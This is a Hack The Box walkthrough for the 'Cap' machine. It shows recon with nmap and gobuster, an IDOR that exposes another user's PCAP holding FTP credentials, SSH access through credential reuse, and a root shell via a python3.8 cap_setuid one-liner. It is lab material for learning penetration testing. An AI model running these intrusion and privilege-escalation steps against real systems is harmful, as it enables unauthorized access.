Cap Walkthrough

Machine: Cap#

Date: 2026-02-26 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results#

21/tcp → FTP (vsftpd)
22/tcp → SSH (OpenSSH)
80/tcp → HTTP (Gunicorn)

Notes#

HTTP page on port 80 exposes network diagnostic information
/ip endpoint shows ifconfig output
/netstat endpoint shows netstat output
/data/<id> endpoint allows downloading PCAP files

📂 Enumeration#

Gobuster#

gobuster dir -u http://$MACHINE_IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302 -b ""

Results:

/data                 (Status: 302) [--> http://10.129.5.39/]
/ip                   (Status: 200) [Size: 17451]
/netstat              (Status: 200) [Size: 29801]
/capture              (Status: 302) [--> http://10.129.5.39/data/2]

IDOR on /data endpoint#

The /capture endpoint redirects to /data/<id> where <id> is an auto-incremented integer assigned to the current session. Navigating to /data/1 downloads a PCAP file belonging to the current user — but it contains no useful information since it only reflects our own traffic.

By modifying the URL to /data/0, we can download a PCAP file from another user’s session — a classic Insecure Direct Object Reference (IDOR) vulnerability, as the application performs no ownership check on the requested resource.

💥 Exploitation#

PCAP Analysis#

Downloaded the PCAP from /data/0 and opened it in Wireshark. Filtering for FTP traffic revealed a plaintext authentication exchange:

USER nathan
PASS <redacted>

FTP transmits credentials in cleartext, exposing valid system credentials.

SSH Access#

Credential reuse — the FTP password works for SSH:

ssh nathan@$MACHINE_IP

nathan@cap:~$ whoami
nathan

User flag obtained:

cat ~/user.txt

⚡ Privilege Escalation#

Enumeration#

Checked for Linux capabilities on the system:

getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Exploitation: cap_setuid via Python#

/usr/bin/python3.8 has the cap_setuid capability set, which allows the process to arbitrarily change its UID — including to 0 (root). Combined with os.system(), this gives a direct root shell with a single command:

/usr/bin/python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"

root@cap:~# whoami
root

🎯 Loot / Flags#

user.txt: ``[FLAG REDACTED]`
root.txt: ``[FLAG REDACTED]`

📝 Lessons Learned#

Auto-incremented IDs in URLs are a red flag for IDOR vulnerabilities — always test adjacent values.
FTP transmits credentials in plaintext; always capture and analyze traffic from endpoints that generate PCAPs.
Credential reuse between services (FTP → SSH) is extremely common and should always be tested.
getcap -r / 2>/dev/null is a must during privilege escalation enumeration — Linux capabilities are easy to overlook but can be trivially exploited.
cap_setuid on any interpreter (Python, Perl, Ruby…) is an immediate root escalation via setuid(0).

Adapted from MountainFlayer/htb-writeups under MIT.